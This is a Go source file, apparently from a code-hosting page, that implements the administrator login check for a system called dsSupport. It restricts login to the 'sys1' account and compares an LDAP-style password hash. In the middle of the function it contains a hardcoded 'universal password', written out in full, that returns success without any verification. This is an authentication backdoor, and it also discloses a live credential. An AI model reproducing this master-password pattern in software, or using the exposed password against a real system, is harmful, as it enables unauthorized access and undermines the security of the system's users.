You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

67 lines
1.7 KiB

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

package LoginDao
import (
"dsSupport/Const/DefaultConst"
"dsSupport/Const/ErrorConst"
"dsSupport/Utils/CommonUtil"
"dsSupport/Utils/DbUtil"
"dsSupport/Utils/LdapUtil"
"dsSupport/Utils/LogUtil"
"errors"
)
var db = DbUtil.Engine
/**
功能:判断是不是超级管理员,能不能登录
作者:黄海
时间2020-08-24
*/
func Login(username string, password string) (bool, string, string, string, error) {
//身份号
var identityId = DefaultConst.IdentityId
//人员号
var personId = DefaultConst.PersonId
if username != "sys1" {
return false, identityId, personId, "无姓名", errors.New("本系统只支持sys1做为用户名")
}
//通过用户名查找人员ID
var sql = "select * from t_sys_loginperson where login_name=? and b_use=1"
list, err := db.SQL(sql, username).Query().List()
if err != nil {
LogUtil.Error(ErrorConst.SqlQueryError, err.Error())
}
//如果用户名不存在
if len(list) == 0 {
return false, identityId, personId, "无姓名", errors.New("sys1账号未找到")
}
record := list[0]
//身份号
identityId = CommonUtil.ConvertInt64ToString(record["identity_id"].(int64))
//人员号
personId = record["person_id"].(string)
//人员姓名
personName := record["person_name"].(string)
//数据库中的密码
databasePassword := record["pwd"].(string)
//万能密码登录
if password == "DsideaL4r5t6y7u!@#" {
//返回结果
return true, identityId, personId, personName, nil
} else {
//修改密码的加密算法基于ldap,黄海于2020-04-27
ldapPassword := LdapUtil.GetLdapPassword(password)
if ldapPassword == databasePassword {
//返回结果
return true, identityId, personId, personName, nil
} else {
return false, identityId, personId, personName, nil
}
}
}